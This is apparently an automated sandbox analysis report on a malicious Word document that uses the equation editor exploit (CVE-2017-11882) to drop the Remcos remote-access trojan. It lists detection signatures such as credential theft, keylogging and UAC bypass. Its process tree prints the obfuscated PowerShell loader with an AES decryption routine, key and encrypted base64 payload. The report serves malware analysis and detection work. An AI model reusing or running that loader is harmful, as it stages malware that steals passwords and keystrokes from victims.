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Windows
Analysis Report
erthings.doc
Overview
General Information
Sample name: | erthings.docrenamed because original name is a hash value |
Original sample name: | iamtotalnewpersontogetmebackwithentirenewthingstounderstandhowmuchkissineedtodosoican_________sheisbeautifulgirleverthings.doc |
Analysis ID: | 1483046 |
MD5: | 25a6c39dbc117a7596c857dbec4e5d93 |
SHA1: | 7f72c84fb222f0dd96a31e78b34473bde3e0fc81 |
SHA256: | a0a088ddefea91b081ce3eef407d62a9ebbab95b010c23d4afcbaed4896ea61f |
Tags: | doc |
Infos: | |
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Remcos
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Delayed program exit found
Document exploit detected (process start blacklist hit)
Found potential equation exploit (CVE-2017-11882)
Injects a PE file into a foreign processes
Installs a global keyboard hook
Maps a DLL or memory area into another process
Obfuscated command line found
Office drops RTF file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Searches for Windows Mail specific files
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document contains Microsoft Equation 3.0 OLE entries
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found URL in obfuscated visual basic script code
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w7x64
- WINWORD.EXE (PID: 288 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\WINWOR D.EXE" /Au tomation - Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5) - EQNEDT32.EXE (PID: 2396 cmdline:
"C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) - wscript.exe (PID: 1236 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\scree nsimplethi ngstohandl ecream.vBS " MD5: 979D74799EA6C8B8167869A68DF5204A) - powershell.exe (PID: 3116 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command ( ('((e4jfun ction Decr ypt-AESEnc ryption {P aram([Stri ng]TMIBase 64Text,[St ringe4j+e4 j]TMIKey)T MIe4j+e4ja esManaged = New-Obje ct System. See4j+e4jc urity.Cryp tography.A esManaged; TMIa'+'esM anagee4j+e 4'+'jd.Mod ee4j+e4j = [Syse4j+' +'e4jtem.S ecurity.Cr yptoge4j+e 4jraphy.e4 j+e'+'4jCi e4'+'j+e4j pherMode]: :CBC;TMIae sManaged.' +'Pae4j+e4 jddin'+'g = [System. Security.C ryptograph y.PaddingM ode]::Zero s;TMIaesMa naged.Bloc kSiz'+'e = 128;TMIae sManaged.K eySize = 2 56;'+'TMIa esManagee4 j+'+'e4jd. Key = ('+' New-Object e4'+'j+e4j System.Se curity.Cry ptography. SHA256Mana ged).Compu teHash([Sy ste'+'m.Te xt.Encodin g]::UTF8.G ee4j+e4jtB ytes(TMIKe y));TMIcip herBytes = [Syst'+'e m.Convert] ::FromBase 64String(T MIBase64Te xt);TMIaes Managed.IV '+'= TMIc ipherBytes [0..15];TM Idecryptor = TMIaesM anaged.Cre ateDecrypt or();TMIde cryptedByt es = TMIde cryptor.Tr ansformFin '+'alBlock (TMIcipher Bytes, 16, TMIcipher Bytes.Leng th - 16);e 4j+e4jTMIa e'+'sManag ed.D'+'isp ose('+');r eturn [Sys tem.Text.E ncoding]:: UTF8.GetSt ring'+'(TM Idecry'+'p tedBytes). Tre4j+e4ji m([char]0) ;}TMIchave = CnI1694 2742004897 5471100204 42916503Cn Ie4j+e4j;T MItextoCri ptogr'+'af adoBase4j+ e4je64 = ' +'CnIAiyJ4 w4PDxrjYBT pE+kCMXAi0 n0WFrEwTQq O6Ll9vCems o5/Wu4WU8D FicwqoQGgH UNsDgf18ad a181Zl+9aI MRyGbBhOQL 1xtRLUPEYo MibGKdW5HX /pyEQS0Jw3 Vh2+CYHtXZ W4mAXpPVku I6gUlIz8DE sOP8YwWP+k L3LpnXUvoD /qBKfflwTq LdaSslAUZJ Bizi2g2Z8n GQwpbShstg k8iXwe1n31 tDVYVkp3T5 T5WY1HmUD7 4K+YmOudrH G5Myz3duSq cna3IjfjlE bg/ZIO/KCv QGjgfJjV8u gk/Yy2P5Oa +5QFOgc8ii xUoiNIoPAY ztidKVOOGm bgFMbkku0X GVqmJjKcyM tEJtArogT9 aYZx/ed96F LgWK+okfu0 GPY3zgarb0 LJ0UOULymA YnqJJj3ofV S7De8JjcTE qBknfr/caO lBiLhsYNQW SOgsDhrRvf 5YYzMpM83v qh06V2szJv 2yAB9LsAHI GxJWtU+c0o vHZ5Vdqtl/ xa+xpgCscC 3s+9s4OttM JQD+Y6Oggg jtZYrP3PNl tGTuGXGV6F dDehpSU/xd y/8GAxcGUj H9Mr8gb130 Pu+0YBW9Hd BQ2iWvdVhv Mv9Qexc/zg zM2wKPrSh6 KwTAbvQCms P7v0n0diE/ lfStsBI95d aYr1R09j36 1KgVwHJfGt SYJKTiZxk3 Kjr8ned9cT P7Hr1sIs66 dD0GkNgVgI BM3hQi4l/J buLztLdOqU SCMtPOJbMV vd+MpGtoXP GCTnJjImLT YVVP67C5k3 Tf8ib1O6pK QeQcxhQ5hy r1qq3EQ0hJ l5ZNCjy/SU T8QdLtfUcu m3xRlxAeH0 32MIpclIzJ hwFgmOsJsK iJLds99V3v TPgCXZZnxn NS2du/73NT 4UYFNd4J7+ I54BTGng1g 4J6A5nhvO9 KkoFS0c0de nf7crIdeMf 7pSj0inJzt c2aRCT3AEJ T3zVJwCBYK OYKPppt5nj p0JLB5aB1O BZOO8YTYn1 Zek16QtXF/ UDhcFSHjS/ B3tfXkD2tR nhujolV+Fe s7ISTg3tPO FFvRigpQFL 4IgLPiP2k7 alWxEZHAX+ W9FTNKh054 AIMuEYzSP0 JTVG2VJBq1 OAfoQjhBvw QGKAAzRNd+ 6L+lgQp6AS Ijm8tteW0N YUDIsW5x5J s0LElEjrFS iSmbujrdPE w/2oL5TaVI PCWAWwofdz k+coQ0nI1B V4Ecz4/ITb C8RsV1s7k1 8zvJwByHMI MM9Irxaprg zKSCaODhTK xF53rNwycY